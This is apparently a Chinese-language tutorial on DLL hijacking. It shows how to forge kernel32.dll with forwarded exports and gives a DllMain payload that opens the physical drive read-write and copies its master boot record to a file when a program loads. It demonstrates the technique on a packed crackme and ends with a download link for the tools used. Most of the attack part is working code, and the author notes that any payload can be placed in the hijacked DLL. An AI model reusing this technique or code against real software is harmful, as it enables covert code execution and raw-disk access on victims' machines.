DLL劫持技术不想再多说了,具体的可以百度。。。。
先简单的说一句。。。运行一个PE文件,WINDOWS会首先在当前目录下寻找要用的DLL,如果找不到就上其他地方找,一直到系统目录。。。
然后想干嘛就干嘛了。。。
首先得伪造,别告诉我随便找个PE文件然后改一下名字就是伪造了。。。。
怎么伪造呢?当然是伪造导入表。
这里以劫持kernel32.dll来做一个读取硬盘的例子,做什么都可以的。。。反正我是想不到了
咳咳 是的,伪造导入表是很麻烦的工作,还得写转发的代码。如果某DLL的导入表很多(比如kernel32.dll和user32.dll),那你还没写成就先累死了。。。。。
这里以kernel32.dll为例(导入表好多好多的)
某个kernel32.dll的部分导出函数如下:
#pragma comment(linker, "/EXPORT:ActivateActCtx=_AheadLib_ActivateActCtx,@5")
#pragma comment(linker, "/EXPORT:AddAtomA=_AheadLib_AddAtomA,@6")
#pragma comment(linker, "/EXPORT:AddAtomW=_AheadLib_AddAtomW,@7")
#pragma comment(linker, "/EXPORT:AddConsoleAliasA=_AheadLib_AddConsoleAliasA,@8")
#pragma comment(linker, "/EXPORT:AddConsoleAliasW=_AheadLib_AddConsoleAliasW,@9")
#pragma comment(linker, "/EXPORT:AddDllDirectory=_AheadLib_AddDllDirectory,@10")
还有不少的呢,总共1000多行。。。。
这里推荐一款很好用的自动生成工具:
使用很简单。用默认的就可以。。。
然后你可以在生成的代码中找到
AheadLib_原DLL导出函数名()
比如
ALCDECL AheadLib_MulDiv(void)
{
GetAddress("MulDiv");
__asm JMP EAX;
}
在这里,你可以添加一些自己的代码。。。
这里我们的目的是在被劫持的kernel32.dll启动就弹出一些对话框,然后读取硬盘的主引导记录
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
FILE *DiskFile;
FILE *MBRCode;
unsigned char Code[DISKSIZE]={0};
DiskFile=fopen("\\\\.\\PhysicalDrive0","rb+");
MsgBox("判断硬盘主引导记录是否能被读取,点击[确定]按钮继续");
if(!DiskFile)
{
MsgBox("打开硬盘失败");
goto Exit;
}
else if(!feof(DiskFile))
{
fseek(DiskFile,0,SEEK_SET);//移动到主引导记录的位置
fread(Code,1,DISKSIZE,DiskFile);
if(Code[510]==85 && Code[511]==170)
{
MsgBox("系统可以识别主引导记录");
MsgBox("点击[确定]将MBR保存到当前目录")
}
else
{
MsgBox("系统不能识别主引导记录");
MsgBox("点击[确定]将MBR保存到当前目录");
}
MBRCode=fopen("MBR.ini","wb+");
if(!MBRCode)
{
MsgBox("备份主引导记录失败");
goto Exit;
}else if(!feof(MBRCode))
{
fwrite(Code,DISKSIZE,1,MBRCode);
fclose(MBRCode);
fclose(DiskFile);
MsgBox("主引导记录备份成功,文件名是当前目录下的 MBR.ini");
}
}
Exit:
return Load();
}
else if (dwReason == DLL_PROCESS_DETACH)
Free();
return TRUE;
}
我有一个加了VMP壳的CM,这个在启动时用到了kernel32.dll中的一个或者多个函数。双击它
一直点击到:
当点击到这里时,程序的窗口才会显示
好啦,把用到的工具一起传上来吧
下载地址:http://pan.baidu.com/s/1kTX1MB1